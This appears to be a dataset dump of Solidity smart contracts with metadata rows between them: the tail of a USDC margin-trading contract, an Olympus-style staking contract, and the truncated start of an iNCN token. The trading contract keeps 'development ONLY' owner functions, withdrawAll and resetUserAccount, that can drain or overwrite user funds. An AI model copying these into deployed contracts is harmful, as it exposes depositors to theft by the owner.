uint(ROUNDING_FACTOR); /// indexing users if (usersIndex[msg.sender] == 0 && msg.sender != owner) { usersIndex[msg.sender] = usersCount; indexedAddresses[usersCount] = msg.sender; usersCount += 1; } emit Deposit(msg.sender, amountUSDC, block.timestamp); } function getUserBalances(address user) public view returns (uint256 , uint256 , userAssetParameters[] memory) { uint256 availableBalance = usersAvailableBalances[user] / uint(ROUNDING_FACTOR); uint256 lockedBalance; userAssetParameters[] memory userAssets = new userAssetParameters[](assetsNames.length); for (uint256 i=0; i < assetsNames.length; i++) { userAssets[i] = _setOutputDecimalsForAsset(assetsNames[i], usersAssetsData[user][assetsNames[i]]); lockedBalance += userAssets[i].assetLockedBalance; } // rounding error correction if (lockedBalance % 10 !=0){ lockedBalance += 10 - lockedBalance % 10; } return (availableBalance, lockedBalance, userAssets); } function _setOutputDecimalsForAsset(string memory assetName, userAssetParameters memory assetData) internal pure returns (userAssetParameters memory assetDataModified) { // struct userAssetParameters { // 0 string assetName; // 1 int256 assetBalance; // 2 uint256 assetLockedBalance; // 3 uint256 assetPrice; // 4 uint16 assetLeverage; } assetDataModified.assetName = assetName; assetDataModified.assetBalance = assetData.assetBalance; // ETH decimals if (assetData.assetLeverage !=0) { assetDataModified.assetLockedBalance = (uint(abs(assetData.assetBalance)) * assetData.assetPrice / assetData.assetLeverage) / uint(ETH_UNIT_FACTOR * ROUNDING_FACTOR); // USDC decimals } assetDataModified.assetPrice = assetData.assetPrice / uint(ROUNDING_FACTOR); // USDC decimals assetDataModified.assetLeverage = assetData.assetLeverage; } function withdraw(address userAddress, uint256 amountUSDC) public onlyOwner { require(usersAvailableBalances[userAddress] >= amountUSDC * uint(ROUNDING_FACTOR), 'Insufficient balance!'); depositToken.safeTransfer(userAddress, amountUSDC); usersAvailableBalances[userAddress] -= amountUSDC * uint(ROUNDING_FACTOR); emit Withdraw(userAddress, amountUSDC, block.timestamp); } /// @dev development ONLY function withdrawAll() public onlyOwner { depositToken.safeTransfer(owner, depositToken.balanceOf(address(this))); if (address(this).balance > 0) { owner.transfer(address(this).balance); } } /// @dev development ONLY function resetUserAccount(address userAddress, uint256 userAvailableBalance, uint256 userLockedBalance, string memory asset, int256 userAssetBalance, uint16 leverage) public onlyOwner { usersAvailableBalances[userAddress] = userAvailableBalance; userAssetParameters memory zeroParameters; zeroParameters.assetName = ''; zeroParameters.assetBalance = 0; zeroParameters.assetLockedBalance = 0; zeroParameters.assetPrice = 0; zeroParameters.assetLeverage = 1; for (uint16 i=0; i<assetsNames.length; i++) { usersAssetsData[userAddress][assetsNames[i]] = zeroParameters; usersAssetsData[userAddress][assetsNames[i]].assetLeverage = leverage; } usersAssetsData[userAddress][asset].assetBalance = userAssetBalance; usersAssetsData[userAddress][asset].assetLockedBalance = userLockedBalance; if (userAssetBalance != 0){ usersAssetsData[userAddress][asset].assetPrice = uint((int(userLockedBalance * leverage) * ETH_UNIT_FACTOR) / abs(userAssetBalance));} } function trade(bool isBuy, address maker, address taker, string memory asset, uint256 assetAmount, uint256 assetRate, uint256 tradeFee, uint16 makerLeverage, uint16 takerLeverage, string memory tradeId) public onlyOwner { require(checkAsset[asset], string(abi.encodePacked('Unknown Asset! TradeId:', tradeId))); updateUserLeverage(maker, asset, makerLeverage, tradeId); updateUserLeverage(taker, asset, takerLeverage, tradeId); updateUserBalances(maker, asset, (isBuy ? int(1) : int(-1))*int(assetAmount), int(assetRate), int(tradeFee), tradeId); updateUserBalances(taker, asset, (isBuy ? int(-1) : int(1))*int(assetAmount), int(assetRate), -int(tradeFee), tradeId); emit Trade(isBuy, maker, taker, asset, assetAmount, assetRate, tradeFee, makerLeverage, takerLeverage, tradeId, block.timestamp); } function updateUserBalances(address user, string memory asset, int assetAmount, int assetRate, int tradeFee, string memory tradeId) internal { int assetBalance = usersAssetsData[user][asset].assetBalance; int assetPrice = int(usersAssetsData[user][asset].assetPrice); int leverage = int(uint256(usersAssetsData[user][asset].assetLeverage)) * ETH_UNIT_FACTOR; int availableBalance = int(usersAvailableBalances[user]) + tradeFee * ROUNDING_FACTOR; // int lockedBalance = int(usersAssetsData[user][asset].assetLockedBalance); int lockedBalance = ((abs(assetBalance)) * assetPrice / leverage); assetRate = assetRate * ROUNDING_FACTOR; require(assetRate > 0, string(abi.encodePacked('Zero Rate! TradeId:', tradeId))); if (((assetAmount > 0 && assetBalance < 0) || (assetAmount < 0 && assetBalance > 0)) && abs(assetAmount) > abs(assetBalance)) { availableBalance = availableBalance + abs(assetBalance)*assetPrice/(leverage) - assetBalance*(assetPrice - assetRate)/(ETH_UNIT_FACTOR); lockedBalance = lockedBalance - abs(assetBalance*assetPrice/(leverage)); assetAmount = assetAmount + assetBalance; assetBalance = 0; } if (assetBalance == 0 || (assetBalance < 0 && assetAmount < 0) || (assetBalance > 0 && assetAmount > 0)) { availableBalance = availableBalance - abs(assetAmount*assetRate/(leverage)); lockedBalance = lockedBalance + abs(assetAmount*assetRate/(leverage)); assetPrice = (assetBalance*assetPrice + assetAmount*assetRate) / (assetBalance + assetAmount); } else { // (assetBalance > 0 && assetAmount < 0) // (assetBalance < 0 && assetAmount > 0) availableBalance = availableBalance + abs(assetAmount)*assetPrice/(leverage) + assetAmount*(assetPrice - assetRate)/(ETH_UNIT_FACTOR); lockedBalance = lockedBalance - abs(assetAmount*assetPrice/(leverage)); } require(availableBalance >= 0, string(abi.encodePacked('Insufficient balance! TradeId:', tradeId))); require(lockedBalance >= 0, string(abi.encodePacked('LockedBalance < 0! TradeId:', tradeId))); usersAvailableBalances[user] = uint256(availableBalance); // usersAssetsData[user][asset].assetLockedBalance = uint256(lockedBalance); usersAssetsData[user][asset].assetPrice = uint256(assetPrice); usersAssetsData[user][asset].assetBalance = assetBalance + assetAmount; } function updateUserLeverage(address user, string memory asset, uint16 assetLeverage, string memory tradeId) internal { int lockedBalance; int newLockedBalance; int newAvailableBalance; require(assetLeverage > 0, string(abi.encodePacked('Zero Leverage! TradeId:', tradeId))); if (usersAssetsData[user][asset].assetBalance == 0) { usersAssetsData[user][asset].assetLeverage = assetLeverage; } if (usersAssetsData[user][asset].assetLeverage != assetLeverage){ lockedBalance = ((int(usersAssetsData[user][asset].assetPrice) * abs(int(usersAssetsData[user][asset].assetBalance))) / int(usersAssetsData[user][asset].assetLeverage)); newLockedBalance = ((int(usersAssetsData[user][asset].assetPrice) * abs(int(usersAssetsData[user][asset].assetBalance))) / int(uint256(assetLeverage))); newAvailableBalance = int(usersAvailableBalances[user]) - (newLockedBalance - lockedBalance) / ETH_UNIT_FACTOR; require(newAvailableBalance >= 0, string(abi.encodePacked('Insufficient balance! TradeId:', tradeId))); usersAvailableBalances[user] = uint256(newAvailableBalance); // usersAssetsData[user][asset].assetLockedBalance = uint256(newLockedBalance); usersAssetsData[user][asset].assetLeverage = assetLeverage; } } // struct tradingArrayIndexed { // bool isBuy; // uint32 makerIndex; // uint32 takerIndex; // uint32 assetIndex; // uint256 assetAmount; // uint256 assetRate; // uint256 tradeFee; // uint16 makerLeverage; // uint16 takerLeverage; // string tradeId; // } function batchTradeIndexed(tradingArrayIndexed[] memory batchTradingArray) public onlyOwner { uint256 max = batchTradingArray.length; for (uint256 i=0; i < max; i++) { trade(batchTradingArray[i].isBuy, indexedAddresses[batchTradingArray[i].makerIndex], indexedAddresses[batchTradingArray[i].takerIndex], assetsNames[batchTradingArray[i].assetIndex], batchTradingArray[i].assetAmount, batchTradingArray[i].assetRate, batchTradingArray[i].tradeFee, batchTradingArray[i].makerLeverage, batchTradingArray[i].takerLeverage, batchTradingArray[i].tradeId); } } // struct tradingArray { // bool isBuy; // address makerAddress; // address takerAddress; // string assetName; // uint256 assetAmount; // uint256 assetRate; // uint256 tradeFee; // uint16 makerLeverage; // uint16 takerLeverage; // string tradeId; // } function batchTrade(tradingArray[] memory batchTradingArray) public onlyOwner { uint256 max = batchTradingArray.length; for (uint256 i=0; i < max; i++) { trade(batchTradingArray[i].isBuy, batchTradingArray[i].makerAddress, batchTradingArray[i].takerAddress, batchTradingArray[i].assetName, batchTradingArray[i].assetAmount, batchTradingArray[i].assetRate, batchTradingArray[i].tradeFee, batchTradingArray[i].makerLeverage, batchTradingArray[i].takerLeverage, batchTradingArray[i].tradeId); } } function batchFundingRateFees(FeesArray[] memory batchFees) public onlyOwner { uint256 max = batchFees.length; for (uint256 i=0; i < max; i++) { if (batchFees[i].feeAmount < 0) { // negative fee if (usersAvailableBalances[batchFees[i].userAddress] >= uint(-batchFees[i].feeAmount)) { // enough available to pay fee usersAvailableBalances[batchFees[i].userAddress] -= uint(-batchFees[i].feeAmount); } else { // not enough available to pay fee usersAvailableBalances[batchFees[i].userAddress] = 0; } } else { // positive fee usersAvailableBalances[batchFees[i].userAddress] += uint(batchFees[i].feeAmount); } } } function abs(int x) private pure returns (int) { return x >= 0 ? x : -x; } }
98,203
12,083
5af4a55637fa3cb9aa8a012ef6a7ef3c5bbb59898cd4e26cd25852d2b32dd805
27,455
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/6c/6C578E492e84762814B62f0E76ee2E39d6491b49_LightSaberStakingContract.sol
4,201
16,954
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract LightSaberStakingContract is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
110,167
12,084
b12a54867bbc8c131ce6cb6cce6fbba426e5428b48694dec8071cf37feae950e
35,708
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TD/TDUCh1NwrQGqgVqNYXJkQ2sSiSxH5r32dV_iNCN.sol
4,319
17,313
//SourceUnit: iNCN_flat.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _bulkBurn(address[] memory account, uint256[] memory amount) internal virtual { address[] memory to = new address[](1); to[0] = address(0); _beforeBulkTokenTransfer(account, to, amount); require (account.length == amount.length, "ERC20: incorrect data array size"); uint256 totalSupplyDecrease = 0; for(uint i = 0; i < account.length; i++){ uint256 accountBalance = _balances[account[i]]; require(accountBalance >= amount[i], "ERC20: burn amount exceeds balance"); unchecked { _balances[account[i]] = accountBalance - amount[i]; } totalSupplyDecrease += amount[i]; emit Transfer(account[i], address(0), amount[i]); } _totalSupply -= totalSupplyDecrease; _afterBulkTokenTransfer(account, to, amount); } function _bulkMint(address[] memory account, uint256[] memory amount) internal virtual { address[] memory from = new address[](1); from[0] = address(0); _beforeBulkTokenTransfer(from, account, amount); require (account.length == amount.length, "ERC20: incorrect data array size"); uint256 totalSupplyIncrease = 0; for(uint i = 0; i < account.length; i++){ require(account[i] != address(0), "ERC20: mint to the zero address"); totalSupplyIncrease += amount[i]; _balances[account[i]] += amount[i]; emit Transfer(address(0), account[i], amount[i]); } _totalSupply += totalSupplyIncrease; _afterBulkTokenTransfer(from, account, amount); } function _afterBulkTokenTransfer(address[] memory from, address[] memory to, uint256[] memory amount) internal virtual {} function _beforeBulkTokenTransfer(address[] memory from, address[] memory to, uint256[] memory amount) internal virtual {} } abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } abstract contract ERC20Pausable is ERC20, Pausable { function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert(string(abi.encodePacked("AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32)))); } } function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } interface iNCNInterface is IERC20 { function mint(address _to, uint256 _amount) external; function bulkMint(address[] memory _to, uint256[] memory _amount) external; function burn(address _from, uint256 _amount) external; function lock(address _from, uint256 _amount) external returns (uint256); function unlock(address _from, uint256 _lockIndex) external; function availableBalance(address _user) external view returns (uint256); } contract iNCN is ERC20Pausable, AccessControl, iNCNInterface{ bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); mapping (address => uint256[]) public lockData; mapping (address => uint256) public totalLockedAmount; event Locked(address from, uint256 amount, uint256 lockID); event Unlocked(address 